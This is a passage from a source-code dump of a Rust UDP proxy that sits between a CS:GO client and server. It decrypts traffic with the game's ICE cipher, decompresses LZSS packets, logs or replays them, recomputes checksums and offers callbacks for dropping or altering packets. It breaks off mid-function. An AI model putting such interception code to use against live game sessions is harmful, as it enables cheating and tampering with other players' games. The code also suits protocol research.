CMsgGCMsgMasterSetWebAPIRouting_Response 721 | { 722 | optional int32 eresult = 1 [ default = 2 ]; // Success or failure code from the GCH when processing k_EGCMsgMasterSetWebAPIRouting 723 | } 724 | 725 | message CMsgGCMsgMasterSetClientMsgRouting_Response 726 | { 727 | optional int32 eresult = 1 [ default = 2 ]; // Success or failure code from the GCH when processing k_EGCMsgMasterSetClientMsgRouting 728 | } 729 | 730 | 731 | // k_EGCMsgSetOptions 732 | message CMsgGCMsgSetOptions 733 | { 734 | enum Option 735 | { 736 | // Notifications (aka "data streams" - unsoliticed messages from Steam) - default disabled, specify to opt-in 737 | NOTIFY_USER_SESSIONS = 0; 738 | NOTIFY_SERVER_SESSIONS = 1; 739 | NOTIFY_ACHIEVEMENTS = 2; 740 | NOTIFY_VAC_ACTION = 3; 741 | 742 | // todo: other options? should start options higher up, like 20+, to save room for streams? 743 | } 744 | repeated Option options = 1; 745 | 746 | 747 | // The client_msg_ranges field indicates which client messages, if any, this GC should receive copies of 748 | message MessageRange 749 | { 750 | required uint32 low = 1; 751 | required uint32 high = 2; 752 | } 753 | repeated MessageRange client_msg_ranges = 2; 754 | } 755 | 756 | 757 | // k_EMsgGCHUpdateSession 758 | message CMsgGCHUpdateSession 759 | { 760 | optional fixed64 steam_id = 1; 761 | optional uint32 app_id = 2; 762 | optional bool online = 3; 763 | optional fixed64 server_steam_id = 4; // For a game client, the steam_id of the current server 764 | optional uint32 server_addr = 5; // The IP address of the current server (or self for server state) 765 | optional uint32 server_port = 6; // The IP port of the server (or self for server state) 766 | optional uint32 os_type = 7; 767 | optional uint32 client_addr = 8; // For a game client, the public IP address of the client 768 | 769 | message ExtraField 770 | { 771 | optional string name = 1; 772 | optional string value = 2; 773 | } 774 | repeated ExtraField extra_fields = 9; 775 | optional fixed64 owner_id = 10; // owner Steam ID, different from player ID if borrowed 776 | 777 | optional uint32 cm_session_sysid = 11; // routing info for client session that is playing the game 778 | optional uint32 cm_session_identifier = 12; 779 | repeated uint32 depot_ids = 13; // list of depots in packages that confer app, if requested k_EGCStreamDepots 780 | } 781 | 782 | // 783 | // k_EGCMsgVSReportedSuspiciousActivity 784 | // 785 | message CMsgNotificationOfSuspiciousActivity 786 | { 787 | optional fixed64 steamid = 1; 788 | optional uint32 appid = 2; 789 | 790 | message MultipleGameInstances 791 | { 792 | optional uint32 app_instance_count = 1; 793 | repeated fixed64 other_steamids = 2; 794 | } 795 | optional MultipleGameInstances multiple_instances = 3; 796 | } 797 | 798 | // Do not remove this comment due to a bug on the Mac OS X protobuf compiler 799 | 800 | -------------------------------------------------------------------------------- /proxy/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "proxy" 3 | version = "0.1.0" 4 | authors = ["brymko <47984664+brymko@users.noreply.github.com>"] 5 | edition = "2018" 6 | 7 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 8 | 9 | [dependencies] 10 | prost = "0.6.1" 11 | serde_json = "1.0" 12 | serde = { version = "1.0", features = ["derive"] } 13 | 14 | [build-dependencies] 15 | prost-build = { version = "0.6.1" } 16 | 17 | 18 | -------------------------------------------------------------------------------- /proxy/build.rs: -------------------------------------------------------------------------------- 1 | fn main() { 2 | prost_build::compile_protos(&["src/netmessages.proto"], &["src/"]).unwrap(); 3 | } 4 | -------------------------------------------------------------------------------- /proxy/src/bitutils.rs: -------------------------------------------------------------------------------- 1 | pub struct BitWriter { 2 | w: usize, 3 | data: Vec, 4 | } 5 | 6 | impl BitWriter { 7 | pub fn new() -> Self { 8 | BitWriter { 9 | w: 0, 10 | data: Vec::new(), 11 | } 12 | } 13 | 14 | pub fn finish(self) -> Vec { 15 | self.data 16 | } 17 | 18 | pub fn write_char(&mut self, val: u8) { 19 | self.write_u8(val); 20 | } 21 | 22 | pub fn write_byte(&mut self, val: u8) { 23 | self.write_u8(val); 24 | } 25 | 26 | pub fn write_u8(&mut self, val: u8) { 27 | // if buffer is 8 bit aligned we can push directly 28 | let bits_used = self.w & 7; 29 | if bits_used == 0 { 30 | self.data.push(val); 31 | } else { 32 | // UNWRAP: the only case this wouldn't return smth is if self.w == 0 and we check that 33 | // above 34 | let mut last = self.data.last_mut().unwrap(); 35 | let free = 8 - bits_used; 36 | *last |= (val << bits_used); 37 | self.data.push(val >> free); 38 | } 39 | 40 | self.w += 8; 41 | } 42 | 43 | pub fn write_short(&mut self, sh: i16) { 44 | sh.to_ne_bytes().iter().for_each(|b| { 45 | self.write_u8(*b); 46 | }); 47 | } 48 | 49 | pub fn write_long_long(&mut self, val: i64) { 50 | val.to_ne_bytes().iter().for_each(|b| { 51 | self.write_u8(*b); 52 | }); 53 | } 54 | 55 | pub fn write_str(&mut self, s: &str) { 56 | s.bytes().for_each(|b| { 57 | self.write_u8(b); 58 | }); 59 | self.write_u8(0); 60 | } 61 | 62 | pub fn write_long(&mut self, s: i32) { 63 | s.to_ne_bytes().iter().for_each(|b| { 64 | self.write_u8(*b); 65 | }); 66 | } 67 | 68 | pub fn write_bit(&mut self, b: u8) { 69 | let bits_used = self.w & 7; 70 | if bits_used == 0 { 71 | self.data.push(b & 1); 72 | } else { 73 | // UNWRAP: the only case this wouldn't return smth is if self.w == 0 and we check that 74 | // above 75 | let mut last = self.data.last_mut().unwrap(); 76 | *last |= ((b & 1) << bits_used); 77 | } 78 | self.w += 1; 79 | } 80 | 81 | pub fn write_bits(&mut self, num_bits: u8, bits: u8) { 82 | for i in 0..num_bits { 83 | self.write_bit(bits >> i); 84 | } 85 | } 86 | 87 | pub fn write_var_int32(&mut self, mut val: i32) { 88 | self.write_bits(7, (val & 0x7f) as u8); 89 | val >>= 7; 90 | while val != 0 { 91 | self.write_bit(0); 92 | self.write_bits(7, (val & 0x7f) as u8); 93 | val >>= 7; 94 | } 95 | self.write_bit(1); 96 | } 97 | } 98 | 99 | #[derive(Clone)] 100 | pub struct BitReader<'a> { 101 | r: usize, 102 | l: usize, 103 | data: &'a [u8], 104 | } 105 | 106 | impl<'a> BitReader<'a> { 107 | pub fn new(data: &'a [u8]) -> Self { 108 | BitReader { 109 | data, 110 | r: 0, 111 | l: data.len() * 8, 112 | } 113 | } 114 | 115 | pub fn num_bits_read(&self) -> usize { 116 | self.r 117 | } 118 | 119 | pub fn read_var_int32(&mut self) -> Option { 120 | let mut b = 0; 121 | let mut res = 0i32; 122 | 123 | for i in 0..4 { 124 | b = self.read_ubit_long(8)? as i32; 125 | res |= (b & 0x7f) << (7 * i); 126 | 127 | if (b & 0x80) == 0 { 128 | break; 129 | } 130 | } 131 | 132 | Some(res) 133 | } 134 | 135 | pub fn read_string(&mut self) -> Option { 136 | let mut ba = Vec::default(); 137 | 138 | loop { 139 | let b = self.read_ubit_long(8)? as u8; 140 | 141 | ba.push(b); 142 | 143 | if b == 0 || b == 0xa { 144 | break; 145 | } 146 | } 147 | 148 | String::from_utf8(ba).ok() 149 | } 150 | 151 | pub fn read_bytes(&mut self, len: usize) -> Option> { 152 | if self.l < len * 8 { 153 | return None; 154 | } 155 | 156 | let mut ret = Vec::with_capacity(len); 157 | 158 | for i in 0..len { 159 | let tmp = self.read_byte()?; 160 | ret.push(tmp); 161 | } 162 | 163 | Some(ret) 164 | } 165 | 166 | pub fn read_byte(&mut self) -> Option { 167 | self.read_ubit_long(8).map(|val| val as u8) 168 | } 169 | 170 | pub fn num_bits_left(&self) -> usize { 171 | self.l 172 | } 173 | 174 | pub fn read_one_bit(&mut self) -> Option { 175 | let current_idx = self.r / 8; 176 | if self.l < 1 { 177 | return None; 178 | } 179 | 180 | let b = self.data[current_idx]; 181 | let ret = Some((b >> (self.r & 7)) & 1); 182 | 183 | self.r += 1; 184 | self.l -= 1; 185 | 186 | ret 187 | } 188 | 189 | pub fn read_ubit_long(&mut self, bits: usize) -> Option { 190 | if self.l < bits { 191 | // TODO: return Some(0) all the time 192 | return None; 193 | } 194 | 195 | let mut ret = 0u32; 196 | 197 | for i in 0..bits { 198 | ret |= (self.read_one_bit()? as u32) << i; 199 | } 200 | 201 | Some(ret) 202 | } 203 | 204 | pub fn read_short(&mut self) -> Option { 205 | if self.l < 16 { 206 | return None; 207 | } 208 | 209 | let mut ret = 0; 210 | 211 | for i in 0..16 { 212 | ret |= (self.read_one_bit()? as i16) << i; 213 | } 214 | 215 | Some(ret) 216 | } 217 | 218 | pub fn peek_long(&mut self) -> Option { 219 | let res = self.read_long()?; 220 | self.l += 32; 221 | self.r -= 32; 222 | Some(res) 223 | } 224 | 225 | pub fn read_long(&mut self) -> Option { 226 | if self.l < 32 { 227 | return None; 228 | } 229 | 230 | let mut ret = 0i32; 231 | 232 | for i in 0..32 { 233 | ret |= (self.read_one_bit()? as i32) << i; 234 | } 235 | 236 | Some(ret) 237 | } 238 | } 239 | 240 | impl Iterator for BitReader<'_> { 241 | // This signifies a bit. 242 | type Item = u8; 243 | 244 | fn next(&mut self) -> Option { 245 | self.read_one_bit() 246 | } 247 | } 248 | -------------------------------------------------------------------------------- /proxy/src/ice.rs: -------------------------------------------------------------------------------- 1 | use std::convert::TryInto; 2 | 3 | const ICE_SMOD: [[i32; 4]; 4] = [ 4 | [333, 313, 505, 369], 5 | [379, 375, 319, 391], 6 | [361, 445, 451, 397], 7 | [397, 425, 395, 505], 8 | ]; 9 | 10 | const ICE_SXOR: [[i32; 4]; 4] = [ 11 | [0x83, 0x85, 0x9b, 0xcd], 12 | [0xcc, 0xa7, 0xad, 0x41], 13 | [0x4b, 0x2e, 0xd4, 0x33], 14 | [0xea, 0xcb, 0x2e, 0x04], 15 | ]; 16 | 17 | const ICE_PBOX: [u32; 32] = [ 18 | 0x00000001, 0x00000080, 0x00000400, 0x00002000, 0x00080000, 0x00200000, 0x01000000, 0x40000000, 19 | 0x00000008, 0x00000020, 0x00000100, 0x00004000, 0x00010000, 0x00800000, 0x04000000, 0x20000000, 20 | 0x00000004, 0x00000010, 0x00000200, 0x00008000, 0x00020000, 0x00400000, 0x08000000, 0x10000000, 21 | 0x00000002, 0x00000040, 0x00000800, 0x00001000, 0x00040000, 0x00100000, 0x02000000, 0x80000000, 22 | ]; 23 | 24 | const ICE_KEYROT: [[i32; 8]; 2] = [[0, 1, 2, 3, 2, 1, 3, 0], [1, 3, 2, 0, 3, 1, 0, 2]]; 25 | 26 | fn gf_mult(a: i32, b: i32, m: i32) -> i32 { 27 | let mut res = 0; 28 | 29 | let mut a = a; 30 | let mut b = b; 31 | 32 | while b != 0 { 33 | if (b & 1) != 0 { 34 | res ^= a; 35 | } 36 | 37 | a <<= 1; 38 | b >>= 1; 39 | 40 | if a >= 256 { 41 | a ^= m; 42 | } 43 | } 44 | 45 | res 46 | } 47 | 48 | fn gf_exp7(b: i32, m: i32) -> u32 { 49 | if b == 0 { 50 | return 0; 51 | } 52 | 53 | let mut x = gf_mult(b, b, m); 54 | x = gf_mult(b, x, m); 55 | x = gf_mult(x, x, m); 56 | 57 | gf_mult(b, x, m) as u32 58 | } 59 | 60 | fn ice_perm32(x: u32) -> u32 { 61 | let mut res = 0; 62 | let mut idx = 0; 63 | 64 | let mut x = x; 65 | 66 | while x != 0 { 67 | if (x & 1) != 0 { 68 | res |= ICE_PBOX[idx]; 69 | } 70 | 71 | idx += 1; 72 | x >>= 1; 73 | } 74 | 75 | res 76 | } 77 | 78 | #[derive(Debug)] 79 | struct IceSubkey { 80 | val: [u32; 3], 81 | } 82 | 83 | impl IceSubkey { 84 | fn int_new() -> Self { 85 | IceSubkey { val: [0; 3] } 86 | } 87 | 88 | fn new(rounds: isize) -> Vec { 89 | let mut res = Vec::with_capacity(rounds as usize); 90 | 91 | for i in 0..rounds { 92 | res.push(IceSubkey::int_new()); 93 | } 94 | 95 | res 96 | } 97 | } 98 | 99 | pub struct Ice { 100 | _size: isize, 101 | _rounds: isize, 102 | _keysched: Vec, 103 | 104 | ice_sbox: [[u32; 1024]; 4], 105 | } 106 | 107 | impl Ice { 108 | fn ice_sboxes_init(&mut self) { 109 | for i in 0..1024 { 110 | let col = (i >> 1) & 0xff; 111 | let row = (i & 1) | ((i & 0x200) >> 8); 112 | 113 | let x = gf_exp7(col as i32 ^ ICE_SXOR[0][row], ICE_SMOD[0][row]) << 24; 114 | self.ice_sbox[0][i] = ice_perm32(x); 115 | 116 | let x = gf_exp7(col as i32 ^ ICE_SXOR[1][row], ICE_SMOD[1][row]) << 16; 117 | self.ice_sbox[1][i] = ice_perm32(x); 118 | 119 | let x = gf_exp7(col as i32 ^ ICE_SXOR[2][row], ICE_SMOD[2][row]) << 8; 120 | self.ice_sbox[2][i] = ice_perm32(x); 121 | 122 | let x = gf_exp7(col as i32 ^ ICE_SXOR[3][row], ICE_SMOD[3][row]); 123 | self.ice_sbox[3][i] = ice_perm32(x); 124 | } 125 | } 126 | 127 | fn ice_f(&self, p: u32, sk: &IceSubkey) -> u32 { 128 | let tl = ((p >> 16) & 0x3ff) | (((p >> 14) | (p << 18)) & 0xffc00); 129 | let tr = (p & 0x3ff) | ((p << 2) & 0xffc00); 130 | 131 | let mut al = sk.val[2] & (tl ^ tr); 132 | let mut ar = al ^ tr; 133 | 134 | al ^= tl; 135 | al ^= sk.val[0]; 136 | ar ^= sk.val[1]; 137 | 138 | self.ice_sbox[0][(al >> 10) as usize] 139 | | self.ice_sbox[1][(al & 0x3ff) as usize] 140 | | self.ice_sbox[2][(ar >> 10) as usize] 141 | | self.ice_sbox[3][(ar & 0x3ff) as usize] 142 | } 143 | 144 | fn encrypt_int(&self, ptext: &[u8; 8]) -> [u8; 8] { 145 | let mut res = [0u8; 8]; 146 | 147 | let mut l = ((ptext[0] as u32) << 24) 148 | | ((ptext[1] as u32) << 16) 149 | | ((ptext[2] as u32) << 8) 150 | | (ptext[3] as u32); 151 | let mut r = ((ptext[4] as u32) << 24) 152 | | ((ptext[5] as u32) << 16) 153 | | ((ptext[6] as u32) << 8) 154 | | (ptext[7] as u32); 155 | 156 | for i in (0..self._rounds).step_by(2) { 157 | l ^= self.ice_f(r, &self._keysched[i as usize]); 158 | r ^= self.ice_f(l, &self._keysched[i as usize + 1]); 159 | } 160 | 161 | for i in 0..4 { 162 | res[3 - i] = (r & 0xff).try_into().unwrap(); 163 | res[7 - i] = (l & 0xff).try_into().unwrap(); 164 | 165 | r >>= 8; 166 | l >>= 8; 167 | } 168 | 169 | res 170 | } 171 | 172 | fn decrypt_int(&self, ctext: &[u8; 8]) -> [u8; 8] { 173 | let mut res = [0u8; 8]; 174 | 175 | let mut l = ((ctext[0] as u32) << 24) 176 | | ((ctext[1] as u32) << 16) 177 | | ((ctext[2] as u32) << 8) 178 | | (ctext[3] as u32); 179 | let mut r = ((ctext[4] as u32) << 24) 180 | | ((ctext[5] as u32) << 16) 181 | | ((ctext[6] as u32) << 8) 182 | | (ctext[7] as u32); 183 | 184 | for i in (1..self._rounds).step_by(2).rev() { 185 | l ^= self.ice_f(r, &self._keysched[i as usize]); 186 | r ^= self.ice_f(l, &self._keysched[i as usize - 1]); 187 | } 188 | 189 | for i in 0..4 { 190 | res[3 - i] = (r & 0xff).try_into().unwrap(); 191 | res[7 - i] = (l & 0xff).try_into().unwrap(); 192 | 193 | r >>= 8; 194 | l >>= 8; 195 | } 196 | 197 | res 198 | } 199 | 200 | fn schedule_build(&mut self, kb: &mut [u16; 4], n: isize, keyrot: &[i32; 8]) { 201 | for i in 0..8 { 202 | let kr = keyrot[i]; 203 | let isk = &mut self._keysched[(n as usize + i)]; 204 | 205 | for j in 0..3 { 206 | isk.val[j] = 0; 207 | } 208 | 209 | for j in 0..15 { 210 | let curr_sk = &mut isk.val[j % 3]; 211 | 212 | for k in 0..4 { 213 | let curr_kb = &mut kb[((kr + k) & 3) as usize]; 214 | let bit = *curr_kb & 1; 215 | 216 | *curr_sk = (*curr_sk << 1) | bit as u32; 217 | *curr_kb = (*curr_kb >> 1) | ((bit ^ 1) << 15); 218 | } 219 | } 220 | } 221 | } 222 | 223 | fn set(&mut self, key: &[u8]) { 224 | if self._rounds == 8 { 225 | let mut kb = [0u16; 4]; 226 | 227 | for i in 0..4 { 228 | kb[3 - i] = ((key[i * 2] as u16) << 8) | key[i * 2 + 1] as u16; 229 | } 230 | 231 | self.schedule_build(&mut kb, 0, &ICE_KEYROT[0]); 232 | return; 233 | } 234 | 235 | for i in 0..self._size { 236 | let mut kb = [0u16; 4]; 237 | 238 | for j in 0..4 { 239 | kb[3 - j] = ((key[i as usize * 8 + j * 2] as u16) << 8) 240 | | (key[i as usize * 8 + j * 2 + 1] as u16); 241 | } 242 | 243 | self.schedule_build(&mut kb, (i * 8).try_into().unwrap(), &ICE_KEYROT[0]); 244 | self.schedule_build(&mut kb, self._rounds - 8 - i * 8, &ICE_KEYROT[1]); 245 | } 246 | } 247 | 248 | pub fn block_size(&self) -> usize { 249 | 8 250 | } 251 | 252 | pub fn key_size(&self) -> isize { 253 | self._size * 8 254 | } 255 | 256 | pub fn new(csgo_version: u32) -> Self { 257 | // This is the version of the client, this basically increments with each update. 258 | // This needs to be updated everytime the client receives a steam update. 259 | let csgo_str = [b'C', b'S', b'G', b'O']; 260 | 261 | let version_4_8 = [ 262 | ((csgo_version) & 0xff) as u8, 263 | ((csgo_version >> 8) & 0xff) as u8, 264 | ((csgo_version >> 16) & 0xff) as u8, 265 | ((csgo_version >> 24) & 0xff) as u8, 266 | ]; 267 | 268 | let version_8_12 = [ 269 | ((csgo_version >> 2) & 0xff) as u8, 270 | ((csgo_version >> 10) & 0xff) as u8, 271 | ((csgo_version >> 18) & 0xff) as u8, 272 | ((csgo_version >> 26) & 0xff) as u8, 273 | ]; 274 | 275 | let version_12_16 = [ 276 | ((csgo_version >> 4) & 0xff) as u8, 277 | ((csgo_version >> 12) & 0xff) as u8, 278 | ((csgo_version >> 20) & 0xff) as u8, 279 | ((csgo_version >> 28) & 0xff) as u8, 280 | ]; 281 | 282 | let csgo_ice_key = [csgo_str, version_4_8, version_8_12, version_12_16].concat(); 283 | 284 | Self::new_int(2, &csgo_ice_key) 285 | } 286 | 287 | fn new_int(size: isize, key: &[u8]) -> Self { 288 | assert!(key.len() == 16); 289 | let mut res = Ice { 290 | _size: size, 291 | _rounds: size * 16, 292 | ice_sbox: [[0; 1024]; 4], 293 | _keysched: IceSubkey::new(size * 16), 294 | }; 295 | 296 | res.ice_sboxes_init(); 297 | res.set(key); 298 | 299 | res 300 | } 301 | 302 | pub fn decrypt(&self, data: &[u8]) -> Option> { 303 | if data.len() % self.block_size() != 0 || data.len() < self.block_size() { 304 | println!( 305 | "Data is not correctly aligned or smaller than the block size, decryption failed." 306 | ); 307 | return None; 308 | } 309 | 310 | let mut ret = Vec::default(); 311 | 312 | for i in (0..data.len()).step_by(8) { 313 | let mut arr = [0u8; 8]; 314 | // im tired... 315 | arr[..8].clone_from_slice(&data[i..(8 + i)]); 316 | 317 | let dec = self.decrypt_int(&arr); 318 | 319 | for &k in dec.iter() { 320 | ret.push(k); 321 | } 322 | } 323 | 324 | Some(ret) 325 | } 326 | 327 | pub fn encrypt(&self, data: &[u8]) -> Option> { 328 | if data.len() % self.block_size() != 0 || data.len() < self.block_size() { 329 | return None; 330 | } 331 | 332 | let mut ret = Vec::default(); 333 | 334 | for i in (0..data.len()).step_by(8) { 335 | let mut arr = [0u8; 8]; 336 | arr[..8].clone_from_slice(&data[i..(8 + i)]); 337 | 338 | let dec = self.encrypt_int(&arr); 339 | 340 | for &k in dec.iter() { 341 | ret.push(k); 342 | } 343 | } 344 | 345 | Some(ret) 346 | } 347 | } 348 | -------------------------------------------------------------------------------- /proxy/src/lzss.rs: -------------------------------------------------------------------------------- 1 | use crate::bitutils::BitReader; 2 | 3 | #[repr(packed)] 4 | #[derive(Debug, Copy, Clone)] 5 | pub struct LzmaHeader { 6 | id: [char; 4], 7 | pub actual_size: u32, 8 | } 9 | 10 | impl LzmaHeader { 11 | pub fn from_reader(reader: &mut BitReader) -> Option { 12 | let mut id = ['0'; 4]; 13 | id.copy_from_slice( 14 | &(0..4) 15 | .map(|_| reader.read_byte().unwrap() as char) 16 | .collect::>(), 17 | ); //(reader.read_long()? as u32).to_ne_bytes(); 18 | assert!(id == ['L', 'Z', 'S', 'S']); 19 | 20 | let actual_size = reader.read_long()? as u32; 21 | Some(Self { id, actual_size }) 22 | } 23 | } 24 | 25 | /// Decompresses an lzss10 compressed packet, given a `BitReader` that is consumed. 26 | /// TODO: This should take a `BitReader` instead of a `&mut BitReader` as it is consumed. 27 | pub fn decompress_lzss10(data: &mut BitReader, size: usize) -> Option> { 28 | let mut decompress_data: Vec = Vec::new(); 29 | 30 | let disp_extra = 1; 31 | while decompress_data.len() < size { 32 | let cmd_byte = [data.read_byte()?]; 33 | let cmd_bits = BitReader::new(&cmd_byte); 34 | // Maybe a bit overkill to impl Iterator for this. 35 | // Another possibility would be to just do something like this: 36 | //let cmd_bits = (0u8..8).map(|_| data.read_one_bit().unwrap()).collect::>(); 37 | for bit in cmd_bits { 38 | if bit == 1 { 39 | let val = u16::from_be_bytes([data.read_byte()?, data.read_byte()?]); 40 | let count = (val & 0x0F) + 1; 41 | let disp = ((val & 0xFFF0) >> 4) + disp_extra; 42 | for _ in 0..count { 43 | let len = decompress_data.len(); 44 | let copy_data = decompress_data[len - disp as usize]; 45 | decompress_data.push(copy_data); 46 | } 47 | } else { 48 | decompress_data.push(data.read_byte()?); 49 | } 50 | 51 | if size <= decompress_data.len() { 52 | break; 53 | } 54 | } 55 | } 56 | 57 | if size == decompress_data.len() { 58 | Some(decompress_data) 59 | } else { 60 | panic!( 61 | "Decompression Error! Size is {}, got {}", 62 | size, 63 | decompress_data.len() 64 | ); 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /proxy/src/main.rs: -------------------------------------------------------------------------------- 1 | #![allow(unused)] 2 | #![allow(non_snake_case)] 3 | 4 | use serde::{Deserialize, Serialize}; 5 | use std::convert::TryInto; 6 | use std::io::Result; 7 | use std::net::{Ipv4Addr, SocketAddr, SocketAddrV4, UdpSocket}; 8 | 9 | use std::fs::File; 10 | use std::io::Read; 11 | use std::io::Write; 12 | 13 | use crate::bitutils::{BitReader, BitWriter}; 14 | use crate::packet::{create_packet_from_data, padd_packet, update_seq_ack}; 15 | 16 | // 17 | // pub mod pb { 18 | // include!(concat!(env!("OUT_DIR"), "/netmessages.rs")); 19 | // } 20 | 21 | use prost::Message; 22 | mod bitutils; 23 | mod ice; 24 | mod lzss; 25 | mod netmessages; 26 | mod packet; 27 | 28 | const NET_HEADER_FLAG_SPLITPACKET: i32 = -2; 29 | const CONNECTIONLESS_HEADER: i32 = -1; 30 | const NET_HEADER_FLAG_COMPRESSEDPACKET: i32 = -3; 31 | const PACKET_FLAG_CHOKED: u8 = (1 << 4); 32 | const PACKET_FLAG_RELIABLE: u8 = (1 << 0); 33 | 34 | type PacketCB = Box Option>; 35 | 36 | struct UdpProxyV4 { 37 | socket: UdpSocket, 38 | server: SocketAddrV4, 39 | client: SocketAddrV4, 40 | log: Option, 41 | buf: [u8; 0x0005_0000], 42 | } 43 | 44 | impl UdpProxyV4 { 45 | pub fn new(server: Ipv4Addr, port: u16, log: Option) -> Box { 46 | let server = SocketAddrV4::new(server, port); 47 | 48 | Box::new(UdpProxyV4 { 49 | server, 50 | client: server, // just to set it to an initial value, this will fuction as a echo server then 51 | socket: UdpSocket::bind("0.0.0.0:8080").expect("Unable to bind socket to 0.0.0.0:8080"), 52 | buf: [0; 0x0005_0000], 53 | log, 54 | }) 55 | } 56 | 57 | fn is_server(&self, addr: &SocketAddrV4) -> bool { 58 | self.server == *addr 59 | } 60 | 61 | fn is_client(&self, addr: &SocketAddrV4) -> bool { 62 | !self.is_server(addr) 63 | } 64 | 65 | fn send_client(&self, data: &[u8]) -> Result { 66 | self.socket.send_to(data, self.client) 67 | } 68 | 69 | fn send_server(&self, data: &[u8]) -> Result { 70 | self.socket.send_to(data, self.server) 71 | } 72 | 73 | pub fn run( 74 | &mut self, 75 | mut on_server_packet: PacketCB, 76 | mut on_client_packet: PacketCB, 77 | ) -> Result<()> { 78 | println!("running on {:?}", self.socket); 79 | let mut logger = if self.log.is_none() { 80 | Storage::new("") 81 | } else { 82 | Storage::new(self.log.as_ref().unwrap()) 83 | }; 84 | 85 | loop { 86 | let (len, src) = self.socket.recv_from(&mut self.buf)?; 87 | let src = if let SocketAddr::V4(addr) = src { 88 | addr 89 | } else { 90 | panic!("This shouldn't happen"); 91 | }; 92 | 93 | let data = &self.buf[..len]; 94 | 95 | // if self.is_server(&src) { 96 | // println!( 97 | // "recv_from: server {:?} len:{} packet: {:?}", 98 | // self.server, len, data 99 | // ); 100 | // // if self.log.is_some() { 101 | // // logger.save("server", data); 102 | // // } 103 | // } else { 104 | // println!("recv_from: client {:?} len:{} packet: {:?}", src, len, data); 105 | // // if self.log.is_some() { 106 | // // logger.save("client", data); 107 | // // } 108 | // } 109 | 110 | if self.is_server(&src) { 111 | let should_send = on_server_packet(&self, data).unwrap_or(true); 112 | if !should_send { 113 | continue; 114 | } 115 | } else { 116 | let should_send = on_client_packet(&self, data).unwrap_or(true); 117 | if !should_send { 118 | continue; 119 | } 120 | } 121 | 122 | if self.is_server(&src) { 123 | let len = self.socket.send_to(data, self.client)?; 124 | } else { 125 | self.client = src; 126 | let len = self.socket.send_to(data, self.server)?; 127 | } 128 | } 129 | } 130 | } 131 | 132 | struct ProxyArgs { 133 | replay: Option, 134 | log: Option, 135 | server_ip: Option, 136 | connect: Option, 137 | } 138 | 139 | impl ProxyArgs { 140 | fn new() -> Self { 141 | ProxyArgs { 142 | replay: None, 143 | log: None, 144 | server_ip: None, 145 | connect: None, 146 | } 147 | } 148 | } 149 | 150 | fn parse_args() -> ProxyArgs { 151 | let mut a = std::env::args(); 152 | let mut ret = ProxyArgs::new(); 153 | 154 | loop { 155 | let item = a.next(); 156 | if item.is_none() { 157 | break; 158 | } 159 | 160 | let item = item.unwrap(); 161 | 162 | if item == "--replay" { 163 | ret.replay = a.next(); 164 | } 165 | 166 | if item == "--log" { 167 | ret.log = a.next(); 168 | } 169 | 170 | if item == "--server-ip" { 171 | ret.server_ip = a.next(); 172 | } 173 | 174 | if item == "--connect" { 175 | ret.connect = a.next(); 176 | } 177 | } 178 | 179 | ret 180 | } 181 | 182 | #[derive(Debug, Clone, PartialEq, Deserialize, Serialize)] 183 | struct Packet { 184 | data: Vec, 185 | from: String, 186 | } 187 | 188 | impl Packet { 189 | fn new(from: &str, data: &[u8]) -> Self { 190 | Packet { 191 | from: from.to_string(), 192 | data: data.to_vec(), 193 | } 194 | } 195 | } 196 | 197 | #[derive(Debug, Clone, PartialEq, Deserialize, Serialize)] 198 | struct Storage { 199 | saved: Vec, 200 | name: String, 201 | num: usize, 202 | } 203 | 204 | impl Storage { 205 | fn new(name: &str) -> Self { 206 | Storage { 207 | saved: Vec::default(), 208 | name: name.to_string(), 209 | num: 0, 210 | } 211 | } 212 | 213 | fn load(name: &str) -> Option { 214 | let mut f = File::open(name).ok()?; 215 | let mut buf = String::new(); 216 | 217 | f.read_to_string(&mut buf).ok()?; 218 | 219 | let ret = serde_json::from_str::>(&buf); 220 | 221 | let r = Storage { 222 | saved: ret.ok()?, 223 | name: name.to_string(), 224 | num: 0, 225 | }; 226 | 227 | Some(r) 228 | } 229 | 230 | fn save(&mut self, from: &str, data: &[u8]) { 231 | self.saved.push(Packet::new(from, data)); 232 | 233 | if self.num > 1000 { 234 | println!("FLUSHING LOG"); 235 | println!("FLUSHING LOG"); 236 | println!("FLUSHING LOG"); 237 | println!("FLUSHING LOG"); 238 | println!("FLUSHING LOG"); 239 | println!("FLUSHING LOG"); 240 | println!("FLUSHING LOG"); 241 | println!("FLUSHING LOG"); 242 | println!("FLUSHING LOG"); 243 | println!("FLUSHING LOG"); 244 | println!("FLUSHING LOG"); 245 | println!("FLUSHING LOG"); 246 | if self.flush().is_none() { 247 | panic!("Failed to flush log file"); 248 | } 249 | 250 | self.num = 0; 251 | } else { 252 | self.num += 1; 253 | } 254 | } 255 | 256 | fn flush(&self) -> Option<()> { 257 | let ser = serde_json::to_vec(&self.saved).ok()?; 258 | let mut fb = File::create(&self.name).ok()?; 259 | 260 | fb.write_all(&ser).ok()?; 261 | fb.flush().ok()?; 262 | fb.sync_all().ok()?; 263 | 264 | Some(()) 265 | } 266 | } 267 | fn crc32_compute_table() -> [u32; 256] { 268 | let mut crc32_table = [0; 256]; 269 | 270 | for n in 0..256 { 271 | crc32_table[n as usize] = (0..8).fold(n as u32, |acc, _| match acc & 1 { 272 | 1 => 0xedb88320 ^ (acc >> 1), 273 | _ => acc >> 1, 274 | }); 275 | } 276 | 277 | crc32_table 278 | } 279 | 280 | fn crc32_single_buffer(buf: &[u8]) -> u32 { 281 | let crc_table = crc32_compute_table(); 282 | 283 | !buf.iter().fold(!0, |acc, octet| { 284 | (acc >> 8) ^ crc_table[((acc & 0xff) ^ *octet as u32) as usize] 285 | }) 286 | } 287 | 288 | fn calc_checksum(buf: &[u8]) -> u16 { 289 | let checksum = crc32_single_buffer(buf); 290 | ((checksum & 0xffff) ^ ((checksum >> 16) & 0xffff)) as u16 291 | } 292 | 293 | /// this will generate the crc which is needed to pass the checksum check 294 | fn gen_crc(data: &[u8]) -> [u8; 2] { 295 | let asu16 = calc_checksum(data); 296 | asu16.to_le_bytes() // i might be mistaken, but i don't think the endianess is defined anywhere 297 | } 298 | 299 | fn as_var_int(data: i32) -> Vec { 300 | let mut ret = Vec::default(); 301 | let mut idx = 0; 302 | let mut data = data; 303 | 304 | while data > 0x7f { 305 | ret.push(((data & 0x7f) | 0x80) as u8); 306 | data >>= 7; 307 | } 308 | 309 | ret.push((data & 0x7f) as u8); 310 | ret 311 | } 312 | 313 | fn flick(data: &[u8]) -> Option> { 314 